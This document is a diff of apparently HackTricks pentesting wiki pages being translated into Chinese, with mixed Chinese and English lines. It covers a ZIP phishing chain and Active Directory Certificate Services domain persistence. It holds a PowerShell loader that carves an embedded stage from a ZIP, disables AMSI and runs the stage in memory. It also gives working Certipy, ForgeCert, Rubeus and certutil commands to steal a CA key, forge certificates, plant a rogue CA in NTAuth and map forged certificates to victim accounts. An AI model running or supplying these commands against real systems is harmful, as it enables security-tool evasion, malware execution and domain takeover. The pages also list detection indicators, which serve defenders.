3) 将 ZIP 复制到 %ProgramData%,在那里解压,并打开诱饵 .docx 以显得合法。
|
||||
4) 为当前进程绕过 AMSI: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 对下一阶段进行去混淆(例如,移除所有 # 字符)并在内存中执行它。
|
||||
|
||||
用于切割并运行嵌入阶段的示例 PowerShell 骨架:
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -190,24 +190,33 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
备注
|
||||
说明
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- 下一阶段通常会解密 base64/XOR shellcode,并通过 Reflection.Emit + VirtualAlloc 执行,以最小化磁盘痕迹。
|
||||
- 下一阶段通常会对 base64/XOR shellcode 进行解密,并通过 Reflection.Emit + VirtualAlloc 执行以最小化磁盘痕迹。
|
||||
|
||||
同一链中使用的持久化
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
同一攻击链中使用的持久化
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. 详细信息和可直接使用的命令请见:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
狩猎/IOCs
|
||||
- 包含追加到归档数据末尾的 ASCII 标记字符串(例如 xFIQCV)的 ZIP 文件。
|
||||
Hunting/IOCs
|
||||
- ZIP 文件包含追加到归档数据的 ASCII 标记字符串(例如 xFIQCV)。
|
||||
- .lnk 会枚举父/用户文件夹以定位 ZIP 并打开诱饵文档。
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- 长期运行的业务线程,结尾包含托管于受信任 PaaS 域名下的 links。
|
||||
- 以托管在受信任 PaaS 域下的链接结尾的长时间运行的业务线程。
|
||||
|
||||
## 参考资料
|
||||
## Windows files to steal NTLM hashes
|
||||
|
||||
查看关于 **places to steal NTLM creds** 的页面:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
||||
@ -1,27 +1,27 @@
|
||||
# AD CS 域持久性
|
||||
# AD CS Domain Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**这是对 [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) 中分享的域持久化技术的总结**。请查阅以获取更多细节。
|
||||
**这是对 [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) 中共享的域持久性技术的摘要。** 详情请参阅原文。
|
||||
|
||||
## 使用被盗 CA 证书伪造证书 - DPERSIST1
|
||||
|
||||
如何判断某个证书是 CA 证书?
|
||||
|
||||
如果满足以下几个条件,则可以判断该证书为 CA 证书:
|
||||
如果满足以下若干条件,则可以确定该证书为 CA 证书:
|
||||
|
||||
- 证书存储在 CA 服务器上,其私钥由机器的 DPAPI 保护,或者在操作系统支持的情况下由硬件(例如 TPM/HSM)保护。
|
||||
- 证书的 Issuer 和 Subject 字段都与 CA 的区分名称相匹配。
|
||||
- "CA Version" 扩展仅存在于 CA 证书中。
|
||||
- 该证书存储在 CA 服务器上,其私钥由机器的 DPAPI 保护,或者在操作系统支持的情况下由 TPM/HSM 等硬件保护。
|
||||
- 证书的 Issuer 和 Subject 字段都与 CA 的 distinguished name 相匹配。
|
||||
- 仅在 CA 证书中存在 "CA Version" 扩展。
|
||||
- 证书缺少 Extended Key Usage (EKU) 字段。
|
||||
|
||||
要提取该证书的私钥,通过内置 GUI 的受支持方法是在 CA 服务器上使用 `certsrv.msc` 工具。尽管如此,该证书与系统中存储的其他证书并无不同;因此也可以使用诸如 [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) 等方法来提取。
|
||||
要提取该证书的私钥,CA 服务器上的 `certsrv.msc` 工具通过内置 GUI 是受支持的方法。不过,该证书与系统中存储的其他证书并无不同;因此,也可以使用诸如 [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) 的方法进行提取。
|
||||
|
||||
也可以使用 Certipy 获取该证书和私钥,命令如下:
|
||||
也可以使用 Certipy 获取证书和私钥,命令如下:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
在获取 CA 证书及其私钥(`.pfx` 格式)后,可以使用像 [ForgeCert](https://github.com/GhostPack/ForgeCert) 这样的工具来生成有效的证书:
|
||||
在获取 CA 证书及其以 `.pfx` 格式的私钥后,可以使用像 [ForgeCert](https://github.com/GhostPack/ForgeCert) 这样的工具来生成有效的证书:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> 被针对进行证书伪造的用户必须处于活动状态且能够在 Active Directory 中进行身份验证,过程才会成功。对像 krbtgt 这样的特殊账户伪造证书是无效的。
|
||||
> 目标用于证书伪造的用户必须在 Active Directory 中处于活动状态并且能够进行身份验证,操作才能成功。对像 krbtgt 这样的特殊账户伪造证书是无效的。
|
||||
|
||||
这个伪造证书将在指定的结束日期之前以及**只要根 CA 证书有效**期间**有效**(通常为 5 到 **10+ 年**)。它也对**计算机**有效,因此结合 **S4U2Self**,攻击者可以**在任何域机器上维持持久性**,只要 CA 证书有效。\
|
||||
此外,使用此方法生成的**证书**无法被吊销,因为 CA 并不知道它们的存在。
|
||||
该伪造证书将会在指定的结束日期之前保持**有效**,并在**根 CA 证书有效**期间(通常为 5 至 **10+ 年**)有效。它也适用于**机器**,因此结合 **S4U2Self**,攻击者可以在 CA 证书有效的整个期间**在任何域机器上维持持久性**。\
|
||||
此外,用此方法**生成的证书****无法被撤销**,因为 CA 并不知道它们的存在。
|
||||
|
||||
### Operating under Strong Certificate Mapping Enforcement (2025+)
|
||||
### 在强证书映射强制执行(2025+)下的操作
|
||||
|
||||
自 2025 年 2 月 11 日起(在 KB5014754 推出后),域控制器默认对证书映射启用 **Full Enforcement**。实际上这意味着你的伪造证书必须要么:
|
||||
自 2025 年 2 月 11 日(KB5014754 推出后)起,域控制器在证书映射方面默认使用 **Full Enforcement**。实际上,这意味着你伪造的证书必须满足以下之一:
|
||||
|
||||
- 包含与目标账户的强绑定(例如,SID security extension),或
|
||||
- 与目标对象的 `altSecurityIdentities` 属性上的强显式映射配对。
|
||||
- 包含与目标账户的强绑定(例如,SID 安全扩展),或
|
||||
- 与目标对象的 `altSecurityIdentities` 属性配对一个强、明确的映射。
|
||||
|
||||
一种可靠的持久化方法是铸造一个链到被盗 Enterprise CA 的伪造证书,然后在受害主体上添加强的显式映射:
|
||||
一个可靠的持久化方法是伪造一个链到被窃取 Enterprise CA 的证书,然后向受害主体添加一个强的显式映射:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -57,14 +57,14 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
注意
|
||||
- 如果你能制作包含 SID security extension 的伪造证书,这些证书即使在 Full Enforcement 下也会被隐式映射。否则,优先使用显式的强映射。有关显式映射的更多信息,请参见 [account-persistence](account-persistence.md)。
|
||||
- 吊销对防御方在此场景无效:伪造证书对 CA 数据库来说是未知的,因此无法被吊销。
|
||||
- 如果你能制作包含 SID security extension 的伪造证书,即使在 Full Enforcement 下也会隐式映射。否则,优先选择显式的强映射。有关显式映射的更多信息,请参见 [account-persistence](account-persistence.md)。
|
||||
- 撤销在此对防御者无济于事:伪造证书对 CA 数据库来说是未知的,因此无法被撤销。
|
||||
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
## 信任恶意 CA 证书 - DPERSIST2
|
||||
|
||||
`NTAuthCertificates` 对象被定义为在其 `cacertificate` 属性中包含一个或多个 **CA certificates**,供 Active Directory (AD) 使用。**domain controller** 的验证过程会检查 `NTAuthCertificates` 对象,寻找与正在进行身份验证的 **certificate** 的 Issuer 字段中指定的 **CA** 相匹配的条目。如果找到匹配项,则继续进行身份验证。
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. **域控制器** 的验证过程会检查 `NTAuthCertificates` 对象,查找是否存在与验证 **证书** 的 Issuer 字段中指定的 **CA** 相匹配的条目。如果找到匹配项,则继续进行身份验证。
|
||||
|
||||
攻击者可以在控制该 AD 对象的情况下将自签名 CA 证书添加到 `NTAuthCertificates` 对象。通常,只有 **Enterprise Admin** 组的成员,以及 **Domain Admins** 或 **Administrators**(位于 **forest root’s domain**)才被授予修改此对象的权限。可以使用 `certutil.exe` 编辑 `NTAuthCertificates` 对象,命令为 `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`,或者使用 [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)。
|
||||
攻击者若能控制该 AD 对象,则可以将自签名 CA 证书添加到 `NTAuthCertificates` 对象中。通常,只有 **Enterprise Admin** 组的成员,以及位于 **forest root’s domain** 的 **Domain Admins** 或 **Administrators**,才有权限修改该对象。它们可以使用 `certutil.exe` 并运行命令 `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` 来编辑 `NTAuthCertificates` 对象,或使用 [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)。
|
||||
|
||||
Additional helpful commands for this technique:
|
||||
```bash
|
||||
@ -77,33 +77,31 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
当与先前介绍的使用 ForgeCert 动态生成证书的方法结合使用时,此能力尤其相关。
|
||||
当与前面描述的使用 ForgeCert 动态生成证书的方法结合时,此能力尤为重要。
|
||||
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## 恶意错误配置 - DPERSIST3
|
||||
|
||||
通过对 AD CS 组件的 **security descriptor modifications** 来实现 **persistence** 的机会非常多。攻击者在获得提升权限后可以恶意实施在 "[Domain Escalation](domain-escalation.md)" 一节中描述的修改。这包括向以下敏感组件添加“控制权限”(例如 WriteOwner/WriteDACL/etc.):
|
||||
通过对 AD CS 组件的安全描述符进行修改存在大量实现 **persistence** 的机会。在 "[Domain Escalation](domain-escalation.md)" 一节中描述的修改,具有提升权限的攻击者可将其恶意实施。这包括向以下敏感组件添加“控制权限”(例如 WriteOwner/WriteDACL 等):
|
||||
|
||||
- CA 服务器的 AD 计算机对象
|
||||
- CA 服务器的 RPC/DCOM 服务
|
||||
- 任何位于 **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** 下的后代 AD 对象或容器(例如 Certificate Templates container、Certification Authorities container、NTAuthCertificates object 等)
|
||||
- 默认或由组织委派了控制 AD CS 权限的 AD 组(例如内置的 Cert Publishers 组及其任何成员)
|
||||
- CA 服务器的 **AD 计算机对象**
|
||||
- CA 服务器的 **RPC/DCOM 服务**
|
||||
- 位于 **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** 中的任何 **后代 AD 对象或容器**(例如 Certificate Templates container、Certification Authorities container、NTAuthCertificates object 等)
|
||||
- 默认或由组织委派有权控制 AD CS 的 **AD 组**(例如内置的 Cert Publishers 组及其成员)
|
||||
|
||||
一个恶意实现的示例是:攻击者在域中拥有 **elevated permissions** 后,将 **`WriteOwner`** 权限添加到默认的 **`User`** certificate template,并将攻击者设为该权限的主体。为了利用这一点,攻击者首先会将 **`User`** 模板的所有权更改为自己。随后,会在该模板上将 **`mspki-certificate-name-flag`** 设置为 **1** 以启用 **`ENROLLEE_SUPPLIES_SUBJECT`**,允许用户在请求中提供 Subject Alternative Name。随后,攻击者可以使用该 **template** 进行 **enroll**,在替代名称中选择一个 **域管理员 (domain administrator)** 名称,并将获得的证书用于以域管理员身份进行身份验证。
|
||||
一个恶意实施的例子是:攻击者在域中拥有 **elevated permissions**,向默认的 **`User`** 证书模板添加 **`WriteOwner`** 权限,并将攻击者设为该权限的主体。为利用此权限,攻击者会先将 **`User`** 模板的所有权更改为自己。随后,在模板上将 **`mspki-certificate-name-flag`** 设置为 **1**,以启用 **`ENROLLEE_SUPPLIES_SUBJECT`**,允许用户在请求中提供 Subject Alternative Name。随后,攻击者可以使用该 **template** 进行 **enroll**,在备用名称中选择一个 **域管理员** 名称,并使用获取的证书以 DA 身份进行认证。
|
||||
|
||||
攻击者可能为长期域持久性设置的实用参数(完整细节和检测见 {{#ref}}domain-escalation.md{{#endref}}):
|
||||
攻击者为实现长期域持久化可能设置的实用选项(完整细节及检测见 {{#ref}}domain-escalation.md{{#endref}}):
|
||||
|
||||
- 允许请求者提供 SAN 的 CA 策略标志(例如启用 `EDITF_ATTRIBUTESUBJECTALTNAME2`)。这使得类似 ESC1 的路径仍可被利用。
|
||||
- 允许具备认证能力的签发的模板 DACL 或设置(例如添加 Client Authentication EKU,启用 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`)。
|
||||
- 控制 `NTAuthCertificates` 对象或 CA 容器,以在防御方尝试清理时持续重新引入恶意颁发者。
|
||||
- 允许请求方提供 SAN 的 CA 策略标志(例如启用 `EDITF_ATTRIBUTESUBJECTALTNAME2`)。这会使类似 ESC1 的路径保持可利用状态。
|
||||
- 允许颁发具备认证能力证书的模板 DACL 或设置(例如添加 Client Authentication EKU,启用 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`)。
|
||||
- 控制 `NTAuthCertificates` 对象或 CA 容器,以便在防御方尝试清理时持续重新引入恶意颁发者。
|
||||
|
||||
> [!TIP]
|
||||
> 在应用 KB5014754 的加固环境中,将这些错误配置与显式强映射(`altSecurityIdentities`)配合,可确保即便 DC 强制强映射,所颁发或伪造的证书仍然可用。
|
||||
> 在应用 KB5014754 后的加固环境中,将这些错误配置与显式强映射(`altSecurityIdentities`)配对,可确保在 DC 强制映射时,你颁发或伪造的证书仍然可用。
|
||||
|
||||
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user